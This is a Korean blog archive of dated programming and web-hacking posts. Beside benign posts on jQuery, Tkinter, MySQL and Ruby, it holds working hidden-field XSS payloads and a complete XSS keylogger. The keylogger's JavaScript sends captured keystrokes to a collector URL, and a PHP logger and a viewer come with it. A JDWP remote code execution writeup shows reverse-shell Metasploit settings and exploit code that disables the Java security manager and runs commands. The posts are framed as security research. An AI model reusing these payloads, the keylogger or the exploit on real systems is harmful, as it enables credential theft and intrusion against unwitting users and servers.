6/29/2016

[JQUERY] Create wait/loading animation using jquery(addClass,removeClass)


웹 개발을 하다보면 Ajax 등을 이용하여 데이터를 처리할 때 사용자의 눈을 즐겁게(?)하는
로딩 바를 만드는 방법에 대해 작성하겠습니다.

Jqeury를 이용한 CSS 제어로 쉽게 만들 수 있지요. 차근차근 따라해보시면 금방 만드실 수 있을겁니다.

Step1 - Get loading animation image(로딩 애니메이션 이미지 구하기)

플래시를 잘 하신다면야 직접 만들어도 되지만, 인터넷에 괜찮은 샘플이 많이 있습니다.
구글링을 통해 검색하시면 쉽게 찾을 수 있습니다.

아래와 같은 키워드로 이미지 검색 하면 금방 찾지요.

animated gif loading transparent background



검색하면 줄줄이 나오네요. 물론 free에서 찾아서 사용하시고, 그래도 저작권이 걸린다면
직접 만드시면 됩니다 :)

Step2 - Write loading layer(로딩 이미지가 생성될 구역 만들기)

div 태그를 이용해서 loading 이미지가 나타날 영역을 하나 만들어 놓습니다.
우리가 css를 제어할 수 있도록 id를 설정해줍니다.

<div id="loading_layer"></div>
움.. 좀 더 보시기 편하도록 html 페이지 하나를 만들어 놓고 진행할게요.

<html>
<body>

<input type="button" value="on loading!">   <!-- 로딩 트리거 -->
<input type="button" value="off loading!">  <!-- 로딩 제거 -->
<br><br><br>
<div id="loading_layer"></div>   <!-- 로딩 구간 -->

</body>
</html>

Step3 - Write loading gif CSS(로딩 이미지를 위한 CSS 작성)

로딩 영역에 뿌려줄 CSS를 작성합니다. Class는 loading으로 하였습니다.

<style>
.loading{background-image:url('./loading.gif');background-repeat:no-repeat;background-position:center;}
</style>
보시면 아까 받은 loading.gif를 배경으로 지정하는 css 입니다.

<html>
<body>

<style>
.loading{background-image:url('./loading.gif');background-repeat:no-repeat;background-position:center;}
</style>

<input type="button" value="on loading!">
<input type="button" value="off loading!">
<br><br><br>
<div id="loading_layer"></div>

</body>
</html>

Step4 - Write Javascript(Jquery) for animated

이제 input 태그를 onclick 시 jqeury를 이용해서 로딩 이미지를 뿌리기 위해
간단한 스크립트를 작성합니다.

<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.2/jquery.min.js">
</script><script>
function loading_on()
{
 $("#loading_layer").addClass("loading");  // 이 부분은 loading_layer에 class(css)를 추가하는 부분입니다.
}
function loading_off()
{
 $("#loading_layer").removeClass("loading");  // 이 부분은 loading_layer에 class(css)를 제거하는 부분입니다.
}
</script>
이렇게 하면 트리거 시키기 위한 준비는 거의 끝났습니다. 각각 input 태그에 onclick event handler를 이용해 함수를 실행시킬 수 있도록 세팅합니다.

<input type="button" value="on loading!" onclick="loading_on()">
<input type="button" value="off loading!" onclick="loading_off()">

And finally - Trigger Loading animatMovie for stepion(Full code)

이제 모든게 준비되었습니다. input 을 눌러서 트리거해보세요.



전체 코드입니다.

<html>
<body bgcolor="black">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.2/jquery.min.js">
</script><script>
function loading_on()
{
 $("#loading_layer").addClass("loading");  // 이 부분은 loading_layer에 class(css)를 추가하는 부분입니다.
 return 1;
}
function loading_off()
{
 $("#loading_layer").removeClass("loading");  // 이 부분은 loading_layer에 class(css)를 제거하는 부분입니다.
 return 1;
}
</script>
<style>
.loading{background-image:url('./loading.gif');background-repeat:no-repeat;background-position:center;}
</style>

<input type="button" value="on loading!" onclick="loading_on()">
<input type="button" value="off loading!" onclick="loading_off()">
<br><br><br>
<div id="loading_layer" width=100% height=100% class=""><br><br><br><br><br><br><br></div>
</body>
</html>
어떠신가요? 잘 되시나요. 지금은 버튼으로 해두었지만, 각각 요청전, 응답 후 에 on과 off를 통해서 로딩 화면을 만들 수 있습니다.

아래 간단하게 영상으로 보여드리고 마칠게요.

Movie for step






Share: | Coffee Me:

6/20/2016

[WEB HACKING] HIDDEN:XSS - XSS in hidden field input(input -> hidden에서의 XSS)

웹 취약점 진단에서 가장 만만하면서 가장 어려울때도 있는 XSS에 대한 이야기를 할까합니다. 그 중에서도 오늘은 hidden XSS. 즉 hidden 속성을 가진 태그에 대한 xss입니다.

앞서 간단하게 hidden 속성, 왜 hidden이 우회하기 힘든지 설명하고 각각 우회 방법에 대해 작성하였습니다.
읽으시기 전에 편한 이해를 위하여 코드 부분에 대한 설명부터 하겠습니다. (아래 양식으로 Case 별로 작성하였습니다.)

제약조건: # 우회하기 위해 필요한 조건
query:   # 공격(Attack) Query
output   # 결과
원문:    # 사용자 입력 구간이 들어가는 곳(Default code)
         # [USER INJECT] -> 공격 포인트(Attack point)
공격:    # qeury 입력으로 발생한 결과(공격으로 인한 output)

hidden 속성이란?

웹은 각각의 태그와 속성으로 이루어져서 사용자에게 알아보기 좋은 웹 UI를 제공해줍니다.
브라우저가 HTML을 해석하는 과정에서 hidden 속성을 만나게 되면 페이지에 노출하지 않게 됩니다.

다만 이 노출은 display:none과 약간 다른 성격을 가지는데요. display:none은 페이지에 보이지 않게하지만 hidden 속성은 존재 자체를 없애버립니다 =_=

그래서.. hidden이 들어간 태그에 대해서는 onmouseover, onclick, onfocus 등의 속성을 이용한 공격이 불가하게 되지요.

Hidden XSS 1 - 태그 탈출하기(Escape input tag)

가장 오랜된 방법이며 대체로 불가능한 경우가 많은 방법입니다.
단순히 hiddend을 나가기 위한 방법만이 아닌 XSS를 하기 위해서 많이들 사용하는 방법이며
quote('), double qoute(") 를 통해 삽입 구간이후로 나가 > < 등 특수문자로 tag 밖으로 나갑니다.

제약조건: 특수문자 우회(" ' < >)
query: "><img src="z" onerror="alert(45)">
output
원문: <input type="hidden" name="xsstest" value="[USER INJECT]">
공격: <input type="hidden" name="xsstest" value=""><img src="z" onerror="alert(45)">">



이 방법은 각 속성을 나갈 수 있는 더블퀘테이션, 쿼테이션이 필요하며 < >  와 같이 태그 문자열도 들어가서
많은 취약 조건이 필요합니다.

Hidden XSS 2 - type 속성 변조하기(Tampering type attribute)

이 방법은 사용자 입력이 type 속성보다 앞이 있을 때 가능합니다.
원래 선언된 type보다 먼저 type을 선언하여 hidden을 풀어서 xss를 수행합니다.

제약조건: user input이 type 속성보다 앞에 선언되어야 함 / 특수문자 우회(" or ')
query: " type="text" onfocus="alert(45)" autofocus a="
output
원문: <input name="xsstest" value="[USER INJECT]" type="hidden">
공격: <input name="xsstest" value="" type="text" onfocus="alert(45)" autofocus a="" type="hidden">
개발자의 간단한 실수(왜 type을 뒤에 썼을지..)로 인해서 우회가 가능한 case 이지요.



Hidden XSS 3 - 스타일 속성으로 태그 끌어내기(sytle="display:block")

세번째 방법은 구버전의 IE(6,7,8)과 Firefox 구버전에서 가능한 방법입니다.
아직 아주 구버전의 소프트웨어를 사용하는 사용자가 존재하기 때문에 같이 언급하면 좋을 것 같아 작성하였습니다.


제약조건: 패치 이전 브라우저(IE6/7/8, firefox 구버전) , 특수문자 우회(' or ")
query: " onmouseover="alert(45)" style="display:block;width:100%;height:1000px;" a="
output
원문: <input type="hidden" name="xsstest" value="[USER INJECT]">
공격: <input type="hidden" name="xsstest" value="" onmouseover="alert(45)" style="display:block;width:100%;height:1000px;" a="">
예전에 가능했던 방법이며 현재는 브라우저사에서 sytle보다 hidden을 우선으로 주었기 때문에 불가능합니다.

Hidden XSS 4 - accesskey + onclick을 통한 우회

작년 11월(2015)에 PortSwigger(burp 벤더)에서 블로그로 포스팅한 방법입니다.
바로 accesskey 속성을 이용한 우회방법이죠.

제약조건: 사용자가 XSS를 트리거해야함. (key input)
query: hwul" accesskey="X" onclick="alert(45)" a="
output
원문: <input type="hidden" name="xsstest" value="[USER INJECT]">
공격: <input type="hidden" name="xsstest" value="hwul" accesskey="X" onclick="alert(45)" a=" ">



이 방법은 키 입력을 이용한 XSS 방법입니다. 저도 생각도 못한 속성으로 풀어나갔네요.
물론 직접 영향력을 만들기는 약간 어렵습니다. (사용자가 키 입력으로 트리거 해야하기 때문에)

Vulnerability Trigger
Firefox - linux/windows : ALT+SHIFT+X
OS X - CTRL+ALT+X

사용자에게 입력을 유도할 수 있다면 좋은 우회방법이겠지요.

정리

앞에 3가지 방법은 hidden을 우회하기 위해서 많이 찾아보셨을 것 같습니다.
4번은 트리거 조건은 약간 있지만 우회가 가능하고 이것에 대해서 따로 패치도 없었기 때문에
진단/모의해킹 시 나름 유용하게 사용될 수 있을 것 같네요.

항상 가까운곳에 해답이 있다고 생각합니다. 찾다보면 자기만의 재미있는 우회 방법이 생겨나지요 :)

Reference

http://blog.portswigger.net/2015/11/xss-in-hidden-input-fields.html
Share: | Coffee Me:

6/17/2016

[PYTHON] Tkinter module을 이용한 Clipboard(클립보드) 제어/상용구 만들기

일을 하다보면 항상 같은 말을 자주 써야할 상황이 많이 생깁니다.
오늘은 평소에 제가 Python 을 이용하여 사용하던 것을 풀어볼까합니다.

바로 clipboard 제어를 통해서 명령행으로 상용구처럼 글씨를 복사해놓는 방법입니다.
물론 상용구 기능의 프로그램을 사용하면 되지만 설치가 어렵거나 이런 경우 스크립트로 돌리는게 편하더라구요.

Tkinter 모듈 내 clipboard 제어

원래 Tkinter는 시스템에서 GUI를 그리기 위한 파이썬의 모듈입니다. 이 tk는 제가 예전에도 포스팅 했었던 것 같네요. (noon때였나.. hwul때였나...)

아무튼 파이썬 인터프리터를 이용하여 gui를 제어하기 때문에 Tk는 클립보드에도 접근할 수 있습니다.
클립보드에 접근이 가능하단 소리는, 우리가 편하게 복붙(Ctrl+C/V)을 할 수 있다는 소리지요.

아래 코드를 보면서 간단하게 보겠습니다.

from Tkinter import Tk
clip = Tk()          
clip.clipboard_append("Copy")      # append를 통해 클립보드에 데이터를 넣을 수 있음
clip.clipboard_clear()             # clear를 통해 클립보드를 지울 수 있음
Tkinter를 로드하고 Tk()로 clip에 Tk 클래스를 할당합니다.
이제 clip(Tk)는 clipboard_append, clipboard_clear 등의 메소드를 이용하여 클립보드를 제어할 수 있습니다.
또 clipboard_get 과 같이 클립보드 내용을 읽어올 수 있죠. 이 부분은 Tkinter 내 clipboard 관련 메소드 찾아보시면 많은 자료가 있을거에요.

Tkinter 를 이용하여 간단한 상용구 만들기

자 이제 함수를 써서 클립보드에 데이터를 채워넣을 수 있도록 만들어봅니다.

from Tkinter import Tk
clip = Tk()                        # 창 생성
clip = withdraw()                  # 창이 보이지 않도록 너비 조정
def a():                           # 편한 사용을 위한 함수1(상용구 느낌)
    clip.clipboard_clear() 
    clip.clipboard_append("Copy data 1")
   

def b():                           # 편한 사용을 위한 함수2(상용구 느낌)
    clip.clipboard_clear() 
    clip.clipboard_append("Copy data 2")
간단하죠? python console 에서 a(), b() 으로 데이터를 복사하며 사용할 수 있죠.

pyperclip 활용

이외에도 pyperclip로도 가능합니다. 이 라이브러리도 클립보드 제어를 위한 라이브러리며 pip로 설치 후 import 해서 사용하시면 됩니다.

 (~) #> pip install pyperclip
Downloading/unpacking pyperclip
  Downloading pyperclip-1.5.27.zip
  Running setup.py (path:/tmp/pip-build-ANX1j_/pyperclip/setup.py) egg_info for package pyperclip
 
Installing collected packages: pyperclip
  Running setup.py install for pyperclip
 
Successfully installed pyperclip
Cleaning up...

 (B, 37 files)──────────[ HAHWUL ]──────────[ hahwul@09:13:15 ]
 (~) #> python
Python 2.7.9 (default, Apr  2 2015, 15:33:21)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pyperclip
>>> pyperclip.copy('Hello world!')
>>> pyperclip.paste()
'Hello world'

>>>

Reference

http://pyperclip.readthedocs.io/en/latest/introduction.html
Share: | Coffee Me:

6/16/2016

[WEB HACKING] Making XSS Keylogger(XSS Keylogger 만들기)

오늘은 공격을 통한 영향력 측면에서 바로 사용자의 키 입력을 가로채는 Keylogger를 간단하게 만들어볼까합니다. 물론 악용하시면 안됩니다. 연구적인 측면에서 해보시길 바랍니다.


Keylogger의 원리

전통적인 Keylogger는 OS나 사용자 프로그램에 삽입되어 사용자가 입력하는 키 값을 후킹하여 가로채 PC에 저장하거나 원격지로 전송합니다. 요즘 시대에는 Web이 많이 사용되고 있고, 앞으로도 Web은 죽지않을 것이기 때문에 이런 웹을 이용한 Keylogger 도 조심해야할 판입니다.

OS단 Keylogger 와는 다르게 우리는 Hooking을 할 필요가 없습니다. 웹 브라우저에서 오는 입력을 Event Handler로 받아낼 수 있으니깐요 :)

자 크게 그림을 보면 이런 느낌이겠네요. XSS(Keylog)가 삽입된 페이지에 사용자가 접근하여 키보드를 누를 때 onkeypress 등등 여러가지 keyboard event가 발생합니다. 이 발생한 값에는 입력한 키보드 값이 존재하며 이를 원격지 서버로 전송만해주면 됩니다.
(onkeypress는 xss 공격 자체에도 쓰이고, 웹에서 enter 키 누르면 검색되게 하는데 그 부분에도 사용되지요)


Keylogger XSS 만들기(./vuln.html : Client : HTML)

자 이제 onkeypree를 이용해서 간단한 코드를 만들어보겠습니다.
가상으로 XSS가 삽입된 페이지처럼 <script> 태그를 넣어놨습니다.

여기에 onkeypress를 받으면 buffer에 입력된 값을 넣는 코드를 작성합니다.
(enter는 보기편하라고 해놓았습니다.)

var buffer = "";
var attacker = 'http://127.0.0.1/xsskey/proc.php?c='

document.onkeypress = function(e) {
이제 서버로 전송하는 부분만 만들면 됩니다. img 태그를 이용하면 어렵지 않게 전송이 가능하겠죠.
(img 태그의 src 부분은 이미지의 주소를 의미하며 이미지던, txt 던 파일이 없던 무조건 접근합니다.
따라서 웹 서버는 그 로그값을 받아 처리하면 되지요)

window.setInterval(function() {
    if (buffer.length > 0) {
        var data = encodeURIComponent(buffer);
        new Image().src = attacker + data;
        buffer = "";
    }
}, 200);
자 정말 간단하네요. 여기까지 보면 사용자의 key 입력을 받아서 지정한 서버 페이지(proc.php)로 전송하는 코드가 작성되었습니다. Full Code로 보면 아래와 같네요.

vuln.html

<html><body>

<h1>TEST PAGE</h1>
<hr>
<table border=1><tr><td>
ID: <input type=text>
PASSWD: <input type=text>
<input type=submit value="Send">
</td></tr></table>

<script>
// Insert XSS zzz
var buffer = "";
var attacker = 'http://127.0.0.1/xsskey/proc.php?c='

document.onkeypress = function(e) {
buffer = e.key;
if(buffer == "Enter")
 {
 buffer = " --> [Enter]\n"
 }
}

window.setInterval(function() {
    if (buffer.length > 0) {
        var data = encodeURIComponent(buffer);
        new Image().src = attacker + data;
        buffer = "";
    }
}, 200);
</script></body></html>


Keylogger Server 만들기(./proc.php : Server : PHP)

사실 위에 Javascript 로 만든 XSS코드가 전부입니다. 여기는 그냥 src로 넘어온 값을 받아서 처리(저장/사용)하는 구문만 만들면되지요. 아까 JS코드에서 사용자 키 입력을 넘기는 파라미터는 key 파라미터였습니다.
아래와 같이 c 파라미터를 받아서 txt 파일에 저장하는 코드를 작성합니다.

<?php
if(!empty($_GET['key'])) {
    $logfile = fopen('./data.txt', 'a+');
    fwrite($logfile, $_GET['key']);
    fclose($logfile);
}
?>
data.txt 파일을 읽어보면..
#> cat data.txt 

test --> [Enter]
www.hahwul.com --> [Enter]


Keylogger Viewer 만들기(./index.html : Server : HTML)

proc.php 까지 해도 keylogger는 완성되었지만 우리는 좀 더 편하게 볼 수 있기를 원합니다.
간단하게 HTML로 Viewer를 작성해봅니다.

<html>
<body>

<iframe name="log" src="./data.txt" width="100%" height="100%"></iframe>
<script>
function refresh()
{
 parent.log.location.href="./data.txt";
 setTimeout("refresh()",1000);
}
refresh();
</script>
</body>
</html>
iframe으로 아까 만든 txt를 읽어오고 1초(setTimeout의 1000) 단위로 갱신하여서 나름 실시간으로 받는 것 처럼 만들어줍니다.

정말 심플하죠 :)


Run!

이제 XSS 코드를 심어놓은 vuln.html 에서 키 입력을 해봅시다. 그러면 proc를 통해 txt 파일에 데이터가 작성되고 viewer(index.php)에서 해당 파일을 읽게 되지요. 간단하게 영상으로 꾸며봤습니다.


Share: | Coffee Me:

6/15/2016

[DEBIAN] Linux Terminal에서 .sql 파일 실행하기(Execute .sql file on linux . MYSQL)


오픈소스 코드를 사용하다 보면 자주 만나는 것이 .sql 파일입니다.
이는 개발자가 미리 구성한 DB 환경을 같이 배포해주기 위해 사용하거나, sql 쿼리를 모아서 한번에 실행하기 위해 만들어 놓는 경우가 많습니다.

.sql 실행하기(Execute .sql file)

일단 샘플로 간단한 .sql 파일을 만들어보겠습니다.
아래와 같이 Database를 만드는 SQL Query를 넣어놨지요.

#test.sql
CREATE DATABASE dotsqlexezzz;

이제 터미널에서 mysql console을 실행하면서 .sql 파일의 내용을 읽어 전달합니다.

> mysql -u root -p < test.sql

위와같이 하면 mysql에 로그인하고 test.sql을 읽어 mysql로 전달해주게 됩니다.
전달받은 mysql은 sql 쿼리를 실행하게 되지요.

mysql로 접근해서 확인해보면 정상적으로 생성된 것을 확인할 수 있습니다.

mysql> show databases;
+--------------------+
| Database            |
+--------------------+
| information_schema |
| "                          |
| ""                         |
| '                          |
| ''                         |
| '''                        |
| api                      |
| test                     |
| dotsqlexezzz         |  <- CREATE DATABASE로 생성됨
...snip..
| zzzz                    |
+--------------------+
31 rows in set (0.01 sec)


Share: | Coffee Me:

6/13/2016

[RUBY] 루비에서 Process/command 실행하기(Execute Process and command)

C언어부터 ruby, python 등등 여러가지 언어 중 하나라도 해보셨다면 정말 반가운 함수가 있습니다.
바로 system() 함수(C언어 기준)인데요, 이 함수를 통해 시스템에 명령을 내리거나 새로운 프로세스를 생성할 수 있는 함수이지요. 이 함수로 많은 노가다 작업이 줄게되지요.

오늘은 Ruby에서 system()과 같이 다른 프로세스를 실행하거나 명령을 실행할 수 있는 방법에 대해 이야기하려합니다.

ruby는 우와하죠. debian의 think correctly 말고도 맘에 드는게 생긴듯..

Run process/command 1: IO.popen()

다른 프로세스 실행하기, 그 1번째는 바로 IO.popen 입니다. 저도 정말 자주 사용하는데, 은근히 편리합니다.
popen 함수는 다른 언어에서도 많이 사용하는 함수입니다. process를 열 수 있는 함수인데 ruby에서는 IO 하단에 메소드로 존재합니다.

.popen([env,], mode = "r"[, opt]) ⇒ IO
.popen([env,], mode = "r"[, opt]) {|io| ... } ⇒ Object
간단하게 사용법을 보면 첫번째 인자값으로 실행할 프로세스 or 명령 , 그다음 프로세스로부터 데이터를 읽어올 것인지 등을 정하는 옵션값으로 정의됩니다.

iozzz = IO.popen("top","r")
이런식으로 popen으로 실행하려는 프로세스(top)를 읽어 데이터를 r(read)하도록 합니다.
irb로 보면 return 값이 실행 결과가 아닌 주소값으로 들어가게 되죠.

irb(main):001:0> IO.popen("top","r")
=> #<IO:fd 9>

top가 정상적으로 실행되는지 확인해볼까요?

#> ps -aux | grep top
root      2546  0.1  0.0  26312  3132 pts/1    S+   18:30   0:00 top

넵 잘 돌고있네요 : )

또한 몇가지 트릭을 통해 좀 더 편리하게 사용할 수 있습니다.

# set IO encoding
IO.popen("nkf -e filename", :external_encoding=>"EUC-JP") {|nkf_io|
  euc_jp_string = nkf_io.read
}

# merge standard output and standard error using
# spawn option.  See the document of Kernel.spawn.
IO.popen(["ls", "/", :err=>[:child, :out]]) {|ls_io|
  ls_result_with_error = ls_io.read
}

# spawn options can be mixed with IO options
IO.popen(["ls", "/"], :err=>[:child, :out]) {|ls_io|
  ls_result_with_error = ls_io.read
}
IO 값에 대해서 encoding을 하는 등 여러가지 형태로 사용할 수 있겠죠.

Run process/command 2: system()

대망의 system 함수입니다. 어딜가나 존재합니다.
이 방식은 Kernel에 있는 system 함수를 이용하며 subshell을 호출해서 동작합니다.
return 값은 단순하게 명령값이 있는지 없는지 true/false로 구별하여줍니다.

stat = system("echo 'hahwul'")

Run process/command 3: exec()

다음은 exec 입니다. 이친구도 system과 같이 어떤 언어든 대체로 존재하며 kenel에 존재합니다.
system 함수와 거의 비슷하지만 차이가 있다면 return 값을 주지않아 우리가 명령에 실패하였는지 성공하였는지 알 수 없습니다.

exec( "echo 'hwul'" )

Run process/command 4: #(Kernel)

이번 방법은 바로 #을 이용한 명령 실행입니다. 이 방법도 많이들 사용하시는 것 같습니다.

value = `echo 'hwul'`
value = `#{cmd}`

Run process/command 5: %x(Built-in syntax) 

#과 나름 비슷한 방법이죠. %x 즉 Built-in syntax를 이용한 방법입니다.
아래와 같은 형식으로 사용할 수 있습니다.

%x( cmd )
조금 예시로 보여드리면 이렇죠.

value = %x( echo 'hwul' )
value = %x[ #{cmd} ]

Run process/command 6: open3 library . Open3.popen()

사실 이 방법은 2번정도 위치에 나왔어야했는데.. 작성하다보니 맨 뒤에 쓰게 되었네요.
ruby안에 존재하는 open3 라이브러리를 이용한 방법입니다. 제가 알기론 IO.popen보다 더 많은 기능(?)을
사용할 수 있다고 하네요.

함수를 보면 아래와 같습니다.

popen3(*cmd, &block)
IO.popen과 유사하게 명령과 옵션을 주어 사용할 수 있습니다. 예시를 보죠.

Open3.popen3("pwd", :chdir=>"/") {|i,o,e,t|
  p o.read.chomp #=> "/"
}
Open3 라이브러리는 굉장히 쓸 수 있는 부분이 많습니다. 다만 프로세스 실행을 위한 popen3 메소드만 보았구요. 자세한 내용은 ruby-doc 참고해주세요.
http://ruby-doc.org/stdlib-1.9.3/libdoc/open3/rdoc/Open3.html

Reference

http://www.rubydoc.info/stdlib/core/IO.popen
http://ruby-doc.org/stdlib-1.9.3/libdoc/open3/rdoc/Open3.html
Share: | Coffee Me:

6/09/2016

[HACKING] JDWP(Java Debug Wire Protocol) Remote Code Execution


오늘은 JDWP에 대한 RCE 취약점에 대해 이야기할까 합니다.
이 취약점은 2014년도 나온 취약점이지만 최근에도 몇번 만난적이 있어 정리해둘까하네요.

JDWP??

JDWP는 JPDA, 즉 Java Platform Debugger Architecture 중 하나로써 Debugger와 JVM(Java Virtual Machine) 사이에서 통신을 하는 프로토콜입니다.

blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html

Find to use JDWP live system(JDWP 사용 시스템 찾기)

JDWP 사용 시 서버에 8000번 포트를 Listen 상태가 되어 대기하게 됩니다. 이 포트로 JDWP를 통한 통신이 이루어지게 됩니다.

여러가지 JVM들이 멀티쓰레드로 동작할 때 이를 디버깅하기 위해선  -Xdebug 옵션과 -Xrunjdwp 옵션이 사용되어야 합니다. 이 옵션이 활성화되고 원격디버깅이 가능한데 -Xrunjdwp에서 문제가 발생합니다.
(위 옵션을 사용하면 8000포트로 JDWP를 사용하게 되지요.)

위에서 강조한 handshake 과정을 살펴보도록 하겠습니다.
JDWP는 TCP연결을 통해서 handshaking을 시작하는데 이 과정은 ioactive.com에서 정리한 글에 잘 나타나있습니다.

root:~/tools/scapy-hg # ip addr show dev eth0 | grep "inet "
    inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0
root:~/tools/scapy-hg # ./run_scapy

Welcome to Scapy (2.2.0-dev)
>>> sniff(filter="tcp port 8000 and host 127.0.0.1", count=8)
<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>
>>> tcp.hexraw()
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 127.0.0.1:8000 S
0001 15:49:30.402445 Ether / IP / TCP 127.0.0.1:8000 > 192.168.2.2:59079 SA
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 127.0.0.1:8000 A
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 127.0.0.1:8000 PA / Raw
0000   4A 44 57 50 2D 48 61 6E  64 73 68 61 6B 65         JDWP-Handshake
0004 15:49:30.407553 Ether / IP / TCP 127.0.0.1:8000 > 192.168.2.2:59079 A
0005 15:49:30.407557 Ether / IP / TCP 127.0.0.1:8000 > 192.168.2.2:59079 A
0006 15:49:30.407557 Ether / IP / TCP 127.0.0.1:8000 > 192.168.2.2:59079 PA / Raw
0000   4A 44 57 50 2D 48 61 6E  64 73 68 61 6B 65         JDWP-Handshake
0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 127.0.0.1:8000 A

# reference : http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html
위와 같이 Server와 Client는 JDWP-Handshake 라는 문자열을 이용해서 handshake합니다. 이 handshake 과정은 굉장히 식별하기 쉽고 단순하기 때문에 JDWP가 적용된 live system을 찾기에는 굉장히 수월하죠.

JDWP Remote Code Execution

JDWP는 기본적으로 명령행을 제공하며 JVM 메모리에 임의의 클래스를 로드하고 새로 로그된 Byte Code를 호출할 수 있습니다. 이미 많은 권한을 가지고 있는데 JDWP를 통해 명령을 줄 수 있다는건 매우 심각한 버그가 될 수 있다는걸 의미하지요.
environment/application/protocol 이 그 부분입니다.

아래 이미지를 보면 JDWP 정의에 대해 볼 수 있습니다.

http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html

Request Packet을 보면 Length Id 등등 여러가지 헤더 중 CommandSet과 Command 헤더가 존재합니다.  이 헤더는 아래 값들로 요청을 줄 수 있네요.


CommandSet : Command
0x40 : Action to be taken by the JVM (e.g. setting a BreakPoint)
0x40–0x7F : Provide event information to the debugger (e.g. the JVM has       hit a BreakPoint and is waiting for further actions)
0x80 : Third-party extensions
아래 글에선 디버깅하여 확인하는 과정까지 표현해주었는데 참고하시면 좋을 것 같습니다.

http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html

이걸 스크립트로 짜서 돌리면 아래와 같다고 합니다.
(저는 그냥 MSF쓰고 있습니다..귀찮..)

#> python jdwp-exp.py -t 127.0.0.1
[+] Targeting '127.0.0.1:8000'
[+] Reading settings for 'Java HotSpot(TM) 64-Bit Server VM - 1.6.0_65'
[+] Found Runtime class: id=466
[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on 'java.net.ServerSocket.accept'
## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System 'Mac OS X'
[+] Found User name 'test'
[+] Found ClassPath '/Users/pentestosx/Desktop/apache_tomcat/bin/bootstrap.jar'
[+] Found User home directory '/Users/test'
[!] Command successfully executed


Script Code Link
https://github.com/IOActive/jdwp-shellifier

(여담으로 이 취약점 잡은 IOActive가 melkor fuzzer 만든 lab이더군요.. 가끔 쓰는 fuzzer인데, 여기서 만들었다니)

MSF에서는 아래 모듈로 지원합니다.

exploit/multi/misc/java_jdwp_debugger
그래서 옵션을 주고 테스트를해보면..

hahwul exploit(java_jdwp_debugger) #> use exploit/multi/misc/java_jdwp_debugger
hahwul exploit(java_jdwp_debugger) #> set RHOST 127.0.0.1
hahwul exploit(java_jdwp_debugger) #> set PAYLOAD linux/x86/meterpreter/reverse_tcp
hahwul exploit(java_jdwp_debugger) #> set LHOST 127.0.0.1
hahwul exploit(java_jdwp_debugger) #> exploit

[*] Started reverse TCP handler on 127.0.0.1:4444
[*] 127.0.0.1:8000 - Retrieving the sizes of variable sized data types in the target VM...
[*] 127.0.0.1:8000 - Getting the version of the target VM...
[*] 127.0.0.1:8000 - Getting all currently loaded classes by the target VM...
[*] 127.0.0.1:8000 - Getting all running threads in the target VM...
[*] 127.0.0.1:8000 - Setting 'step into' event...
[*] 127.0.0.1:8000 - Resuming VM and waiting for an event...
[*] 127.0.0.1:8000 - Received 1 responses that are not a 'step into' event...
[*] 127.0.0.1:8000 - Deleting step event...
[*] 127.0.0.1:8000 - Disabling security manager if set...
[+] 127.0.0.1:8000 - Security manager was not set
[*] 127.0.0.1:8000 - Dropping and executing payload..


Exploit Code Analysis

원래 코드 분석하는데로 풀코드를 올리고 하나한 보려했으나..
약간 코드수가 많습니다.. (약 1000정도)

그래서 주요 부분만 좀 짤라서 볼까합니다.

disable sec manager 함수

def disable_sec_manager
    sys_class = get_class_by_name("Ljava/lang/System;")

    fields = get_fields(sys_class["reftype_id"])

    sec_field = nil

    fields.each do |field|
      sec_field = field["field_id"] if field["name"].downcase == "security"
    end

    fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil?

    value = get_value(sys_class["reftype_id"], sec_field)

    if(value == 0)
      print_good("#{peer} - Security manager was not set")
    else
      set_value(sys_class["reftype_id"], sec_field, 0)
      if get_value(sys_class["reftype_id"], sec_field) == 0
        print_good("#{peer} - Security manager has been disabled")
      else
        print_good("#{peer} - Security manager has not been disabled, trying anyway...")
      end
    end
  end
이 함수는 JVM에 걸려있는 security manager를 해제하는 코드입니다. 정상적으로 해제되어야 공격자가 원하는 구문 사용이 자유롭기 때문이죠.

대망의 명령실행 부분입니다.

 def execute_command(thread_id, cmd)
    size = @vars["objectid_size"]

    # 1. Creates a string on target VM with the command to be executed
    cmd_obj_ids = create_string(cmd)
    if cmd_obj_ids.length == 0
      fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
    end

    cmd_obj_id = cmd_obj_ids[0]["obj_id"]

    # 2. Gets Runtime context
    runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")
    buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
    unless buf[0] == [TAG_OBJECT].pack('C')
      fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
    end

    rt = unformat(size, buf[1..1+size-1])
    if rt.nil? || (rt == 0)
      fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()")
    end

    # 3. Finds and executes "exec" method supplying the string with the command
    exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")
    if exec_meth.nil?
      fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()")
    end

    data = [TAG_OBJECT].pack('C')
    data << format(size, cmd_obj_id)
    data_array = [data]
    buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)
    unless buf[0] == [TAG_OBJECT].pack('C')
      fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
    end
  end
cmd값을 인자로 받아서 사용하네요.
코드를 보시면 아래 부분이 있는데 이 부분에서 Java Runtime 정보를 가져옵니다.

runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")
